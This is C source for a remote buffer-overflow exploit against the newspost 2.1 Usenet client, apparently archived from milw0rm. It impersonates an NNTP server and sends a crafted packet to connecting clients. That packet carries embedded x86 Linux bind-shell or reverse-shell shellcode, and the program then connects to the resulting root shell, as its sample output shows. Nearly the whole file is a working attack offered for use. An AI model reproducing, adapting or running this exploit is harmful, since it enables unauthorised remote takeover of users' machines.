/*
* v0.2
* Newspost "socket_getline()" Buffer Overflow Exploit
* Exploit
* Bug discovered: 02/03/2005
*
* cybertronic[at]gmx[dot]net
*
* [ cybertronic @ newspost ] $ gcc -o newspost_expl newspost_expl.c
* [ cybertronic @ newspost ] $ ./newspost_expl cyber tronic
* Usage
* -----
* [ Bindshell ] ./newspost_expl
* [ Reverseshell ] ./newspost_expl [CONNECTBACK IP]
* [ cybertronic @ newspost ] $ ./newspost_expl
*
* __ __ _
* _______ __/ /_ ___ _____/ /__________ ____ (_)____
* / ___/ / / / __ \/ _ \/ ___/ __/ ___/ __ \/ __ \/ / ___/
* / /__/ /_/ / /_/ / __/ / / /_/ / / /_/ / / / / / /__
* \___/\__, /_.___/\___/_/ \__/_/ \____/_/ /_/_/\___/
* /____/
*
* --[ exploit by : cybertronic - cybertronic[at]gmx[dot]net
* --[ newspost-2.1 remote exploit
* --[ enter retaddr [ 0 = default ]
* >> 0
* --[ listening...OK!
* --[ Incomming connection from: 192.168.2.103
* --[ using bind shellcode!
* --[ retaddr: 0xbfffee01
* --[ sending packet [ 1056 bytes ]...done!
* --[ sleeping 5 seconds before connecting to 192.168.2.103:20000...
* --[ connecting to 192.168.2.103:20000...done!
* --[ b0x pwned - h4ve phun
* id
* uid=0(root) gid=0(root) groups=0(root)
*
*/
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#define RED "\E[31m\E[1m"
#define GREEN "\E[32m\E[1m"
#define YELLOW "\E[33m\E[1m"
#define BLUE "\E[34m\E[1m"
#define NORMAL "\E[m"
#define PORT 119
int isip ( char *ip );
int shell ( int s, char* tip, unsigned short cbport );
void connect_to_bindshell ( char* tip, unsigned short bport );
void exploit ( int s, char* ip, unsigned long lip, unsigned long ret, int option );
void header ();
void start_reverse_handler ( unsigned short cbport );
void wait ( int sec );
//131 bytes connect back 45295, greetz to esDee
char linux_connect_back[] =
"\x31\xc0\x31\xdb\x31\xc9\x51\xb1"
"\x06\x51\xb1\x01\x51\xb1\x02\x51"
"\x89\xe1\xb3\x01\xb0\x66\xcd\x80"
"\x89\xc2\x31\xc0\x31\xc9\x51\x51"
"\x68\x41\x42\x43\x44\x66\x68\xb0"
"\xef\xb1\x02\x66\x51\x89\xe7\xb3"
"\x10\x53\x57\x52\x89\xe1\xb3\x03"
"\xb0\x66\xcd\x80\x31\xc9\x39\xc1"
"\x74\x06\x31\xc0\xb0\x01\xcd\x80"
"\x31\xc0\xb0\x3f\x89\xd3\xcd\x80"
"\x31\xc0\xb0\x3f\x89\xd3\xb1\x01"
"\xcd\x80\x31\xc0\xb0\x3f\x89\xd3"
"\xb1\x02\xcd\x80\x31\xc0\x31\xd2"
"\x50\x68\x6e\x2f\x73\x68\x68\x2f"
"\x2f\x62\x69\x89\xe3\x50\x53\x89"
"\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0"
"\x01\xcd\x80";
//92 bytes bindcode port 20000
char scode[] =
"\x31\xdb" // xor ebx, ebx
"\xf7\xe3" // mul ebx
"\xb0\x66" // mov al, 102
"\x53" // push ebx
"\x43" // inc ebx
"\x53" // push ebx
"\x43" // inc ebx
"\x53" // push ebx
"\x89\xe1" // mov ecx, esp
"\x4b" // dec ebx
"\xcd\x80" // int 80h
"\x89\xc7" // mov edi, eax
"\x52" // push edx
"\x66\x68\x4e\x20" // push word 8270
"\x43" // inc ebx
"\x66\x53" // push bx
"\x89\xe1" // mov ecx, esp
"\xb0\xef" // mov al, 239
"\xf6\xd0" // not al
"\x50" // push eax
"\x51" // push ecx
"\x57" // push edi
"\x89\xe1" // mov ecx, esp
"\xb0\x66" // mov al, 102
"\xcd\x80" // int 80h
"\xb0\x66" // mov al, 102
"\x43" // inc ebx
"\x43" // inc ebx
"\xcd\x80" // int 80h
"\x50" // push eax
"\x50" // push eax
"\x57" // push edi
"\x89\xe1" // mov ecx, esp
"\x43" // inc ebx
"\xb0\x66" // mov al, 102
"\xcd\x80" // int 80h
"\x89\xd9" // mov ecx, ebx
"\x89\xc3" // mov ebx, eax
"\xb0\x3f" // mov al, 63
"\x49" // dec ecx
"\xcd\x80" // int 80h
"\x41" // inc ecx
"\xe2\xf8" // loop lp
"\x51" // push ecx
"\x68\x6e\x2f\x73\x68" // push dword 68732f6eh
"\x68\x2f\x2f\x62\x69" // push dword 69622f2fh
"\x89\xe3" // mov ebx, esp
"\x51" // push ecx
"\x53" // push ebx
"\x89\xe1" // mov ecx, esp
"\xb0\xf4" // mov al, 244
"\xf6\xd0" // not al
"\xcd\x80"; // int 80h
int
isip ( char *ip )
{
int a, b, c, d;
if ( !sscanf ( ip, "%d.%d.%d.%d", &a, &b, &c, &d ) )
return ( 0 );
if ( a < 1 )
return ( 0 );
if ( a > 255 )
return 0;
if ( b < 0 )
return 0;
if ( b > 255 )
return 0;
if ( c < 0 )
return 0;
if ( c > 255 )
return 0;
if ( d < 0 )
return 0;
if ( d > 255 )
return 0;
return 1;
}
int
shell ( int s, char* tip, unsigned short cbport )
{
int n;
char buffer[2048];
fd_set fd_read;
printf ( "--[" YELLOW " b" NORMAL "0" YELLOW "x " NORMAL "p" YELLOW "w" NORMAL "n" YELLOW "e" NORMAL "d " YELLOW "- " NORMAL "h" YELLOW "4" NORMAL "v" YELLOW "e " NORMAL "p" YELLOW "h" NORMAL "u" YELLOW "n" NORMAL "\n" );
FD_ZERO ( &fd_read );
FD_SET ( s, &fd_read );
FD_SET ( 0, &fd_read );
while ( 1 )
{
FD_SET ( s, &fd_read );
FD_SET ( 0, &fd_read );
if ( select ( s + 1, &fd_read, NULL, NULL, NULL ) < 0 )
break;
if ( FD_ISSET ( s, &fd_read ) )
{
if ( ( n = recv ( s, buffer, sizeof ( buffer ), 0 ) ) < 0 )
{
printf ( "bye bye...\n" );
return;
}
if ( write ( 1, buffer, n ) < 0 )
{
printf ( "bye bye...\n" );
return;
}
}
if ( FD_ISSET ( 0, &fd_read ) )
{
if ( ( n = read ( 0, buffer, sizeof ( buffer ) ) ) < 0 )
{
printf ( "bye bye...\n" );
return;
}
if ( send ( s, buffer, n, 0 ) < 0 )
{
printf ( "bye bye...\n" );
return;
}
}
usleep(10);
}
}
void
connect_to_bindshell ( char* tip, unsigned short bport )
{
int s;
int sec = 5; // change this for fast targets
struct sockaddr_in remote_addr;
struct hostent *host_addr;
if ( ( host_addr = gethostbyname ( tip ) ) == NULL )
{
fprintf ( stderr, "cannot resolve \"%s\"\n", tip );
exit ( 1 );
}
remote_addr.sin_family = AF_INET;
remote_addr.sin_addr = * ( ( struct in_addr * ) host_addr->h_addr );
remote_addr.sin_port = htons ( bport );
if ( ( s = socket ( AF_INET, SOCK_STREAM, 0 ) ) < 0 )
{
printf ( "socket failed!\n" );
exit ( 1 );
}
printf ( "--[ sleeping %d seconds before connecting to %s:%u...\n", sec, tip, bport );
wait ( sec );
printf ( "--[ connecting to %s:%u...", tip, bport );
if ( connect ( s, ( struct sockaddr * ) &remote_addr, sizeof ( struct sockaddr ) ) == -1 )
{
printf ( RED "failed!\n" NORMAL);
exit ( 1 );
}
printf ( YELLOW "done!\n" NORMAL);
shell ( s, tip, bport );
}
void
exploit ( int s, char* ip, unsigned long lip, unsigned long ret, int option )
{
char out[1200];
bzero ( &out, 1200 );
memset ( out, 0x90, 1052 );
printf ( "--[ retaddr: 0x%08x\n", ret );
strncat ( out, ( unsigned char* ) &ret, 4 );
if ( option == 0 )
{
memcpy ( &linux_connect_back[33], &lip, 4);
memcpy ( out + 649, linux_connect_back, sizeof ( linux_connect_back ) - 1 );
}
else
memcpy ( out + 649, scode, sizeof ( scode ) - 1 );
printf ( "--[ sending packet [ %u bytes ]...", strlen ( out ) );
if ( write ( s, out, strlen ( out ) ) <= 0 )
{
printf ( RED "FAILED!\n" NORMAL);
exit ( 1 );
}
printf ( YELLOW "done!\n" NORMAL);
close ( s );
}
void
header ()
{
printf ( " __ __ _ \n" );
printf ( " _______ __/ /_ ___ _____/ /__________ ____ (_)____ \n" );
printf ( " / ___/ / / / __ \\/ _ \\/ ___/ __/ ___/ __ \\/ __ \\/ / ___/ \n" );
printf ( "/ /__/ /_/ / /_/ / __/ / / /_/ / / /_/ / / / / / /__ \n" );
printf ( "\\___/\\__, /_.___/\\___/_/ \\__/_/ \\____/_/ /_/_/\\___/ \n" );
printf ( " /____/ \n\n" );
printf ( "--[ exploit by : cybertronic - cybertronic[at]gmx[dot]net\n" );
}
void
start_reverse_handler ( unsigned short cbport )
{
int s1, s2;
struct sockaddr_in cliaddr, servaddr;
socklen_t clilen = sizeof ( cliaddr );
bzero ( &servaddr, sizeof ( servaddr ) );
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = htonl ( INADDR_ANY );
servaddr.sin_port = htons ( cbport );
printf ( "--[ starting reverse handler [port: %u]...", cbport );
if ( ( s1 = socket ( AF_INET, SOCK_STREAM, 0 ) ) == -1 )
{
printf ( "socket failed!\n" );
exit ( 1 );
}
bind ( s1, ( struct sockaddr * ) &servaddr, sizeof ( servaddr ) );
if ( listen ( s1, 1 ) == -1 )
{
printf ( "listen failed!\n" );
exit ( 1 );
}
printf ( YELLOW "done!\n" NORMAL);
if ( ( s2 = accept ( s1, ( struct sockaddr * ) &cliaddr, &clilen ) ) < 0 )
{
printf ( "accept failed!\n" );
exit ( 1 );
}
close ( s1 );
printf ( "--[ incomming connection from:\t" YELLOW " %s\n" NORMAL, inet_ntoa ( cliaddr.sin_addr ) );
shell ( s2, ( char* ) inet_ntoa ( cliaddr.sin_addr ), cbport );
close ( s2 );
}
void
wait ( int sec )
{
sleep ( sec );
}
int
main ( int argc, char* argv[] )
{
int s1, s2;
unsigned long lip;
unsigned long ret = 0;
char* ip;
pid_t childpid;
socklen_t clilen;
struct sockaddr_in cliaddr, servaddr;
if ( argc != 1 )
if ( argc != 2 )
{
fprintf ( stderr, "Usage\n-----\n[ Bindshell ] %s\n[ Reverseshell ] %s [CONNECTBACK IP]\n", argv[0], argv[0] );
exit ( 1 );
}
system ( "clear" );
header ();
if ( argc == 2 )
{
if ( !isip ( argv[1] ) )
{
printf ( "--[ Invalid connectback IP!\n" );
exit ( 1 );
}
}
if ( ( s1 = socket ( AF_INET, SOCK_STREAM, 0 ) ) == -1 )
exit ( 1 );
bzero ( &servaddr, sizeof ( servaddr ) );
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = htonl ( INADDR_ANY );
servaddr.sin_port = htons ( PORT );
bind ( s1, ( struct sockaddr * ) &servaddr, sizeof ( servaddr ) );
printf ( "--[ newspost-2.1 remote exploit\n" );
printf ( "--[ enter retaddr [ 0 = default ]\n" );
printf ( ">> " );
scanf ( "%x", &ret );
if ( ret == 0 )
ret = 0xbfffee01;
printf ( "--[ listening..." );
if ( listen ( s1, 1 ) == -1 )
{
printf ( RED "FAILED!\n" NORMAL );
exit ( 1 );
}
printf ( GREEN "OK!\n" NORMAL );
clilen = sizeof ( cliaddr );
if ( ( s2 = accept ( s1, ( struct sockaddr * ) &cliaddr, &clilen ) ) < 0 )
exit ( 1 );
close ( s1 );
printf ( "--[" GREEN " Incomming connection from:\t %s\n" NORMAL, inet_ntoa ( cliaddr.sin_addr ) );
if ( argc == 2 )
{
printf ( "--[" YELLOW " using connect back shellcode!\n" NORMAL );
lip = inet_addr ( argv[1] );
exploit ( s2, ( char* ) NULL, lip, ret, 0 );
start_reverse_handler ( 45295 );
}
else
{
printf ( "--[" YELLOW " using bind shellcode!\n" NORMAL );
ip = ( char* ) inet_ntoa ( cliaddr.sin_addr );
exploit ( s2, ip, ( unsigned long ) NULL, ret, 1 );
connect_to_bindshell ( ip, 20000 );
}
}
// milw0rm.com [2005-02-03]
